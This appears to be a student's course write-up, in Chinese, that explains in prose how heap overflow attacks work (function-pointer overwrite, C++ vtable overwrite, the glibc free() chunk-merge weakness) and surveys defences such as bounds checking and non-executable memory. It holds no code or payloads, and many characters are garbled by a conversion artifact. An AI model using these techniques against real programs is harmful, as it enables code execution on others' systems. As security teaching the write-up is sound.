下面簡要地經過對函數指針改寫、C++類對象虛函數表改寫以及 Linux 下堆管埋漏洞攻擊案例講解,來講明堆溢出攻擊的基本原理
函數指針改寫:這種攻擊方式要求被溢出的緩衝區臨近全局函數指針存儲地址,且在其低地址方向上。若是向緩衝區填充數據的時候,若是沒有邊界控制和判斷的話,緩衝區溢出就會天然的覆蓋函數指針所在的內存區,從而改寫函數指針的指向地址,則程序在使用這個函數指針調用原先的指望函數的時候就會轉而執行 Shellcode
C++ 類對象虛函數表改寫:C++類經過虛函數提供了一種 Late bingding 運行時綁定機制,編譯器爲每一個虛函數的類創建起虛函數表、存放虛函數的地址,並在每一個類對象的內存區中放入一個指向虛函數表的指針。對於使用了難函數機制的C++ 類, 若是它的類成員變量中存在可被溢出的緩衝區,那麼就能夠進行堆溢出攻擊,經過覆蓋類對象的慮函數指針,使只指向一個特殊構造的虛函數表, 從而轉向執行攻擊者惡意注入的指令。
Linux下堆管理 glibc 庫 free() 函數自己漏洞:Linux操做系統的堆管理是經過 glibc 庫來實現的。其中對於堆管理的算法稱爲 dlmalloc。其經過稱爲 Bin 的雙向循環鏈表來保存內存空閒塊的信息。glibc 庫中的 free 函數在內存回收的過程當中,須要將已經釋放的空閒塊和與之相鄰的空閒塊進行合併。經過精心構造空閒塊,在空閒塊合併的過程當中,將會發生位置覆蓋。
嘗試杜絕溢出的防護技術:解決緩衝區溢出攻擊最根本的方法是編寫正確的、不存在緩衝區溢出安全漏洞的軟件代碼,但因爲C/C++語言做爲效率優先的語言,很容易就會出現緩衝區溢出;嘗試經過Fuzz等注入測試的方法來尋找程序漏洞,可是這不能找到全部的漏洞;或者經過在編譯器上引入針對緩衝區的邊界檢查保護機制。
容許溢出但不讓程序改變執行流程的防護技術:這種防護技術容許溢出發生,但對可能影響到程序流程的關鍵數據結構實施嚴密的安全保護,不讓程序改變其執行流程,從而阻斷溢出攻擊。
沒法讓攻擊代碼執行的防護技術:這種防護技術嘗試解決馮·諾依曼體系的本質缺陷,經過堆棧不可執行限制來防護緩衝區溢出攻擊。
無
首先感謝老師體諒咱們,其次因爲對 linux 系統結構和彙編語言的知識不太熟悉,又去上網蒐集了一些資料學習而且翻了翻本身之前寫過的博客,但仍是感受理解的不夠深刻,仍是要多學習
網絡攻防技術與實踐
經常使用的彙編語言指令
不一樣狀況下的高地址與低地址
execl()函數與execlp()函數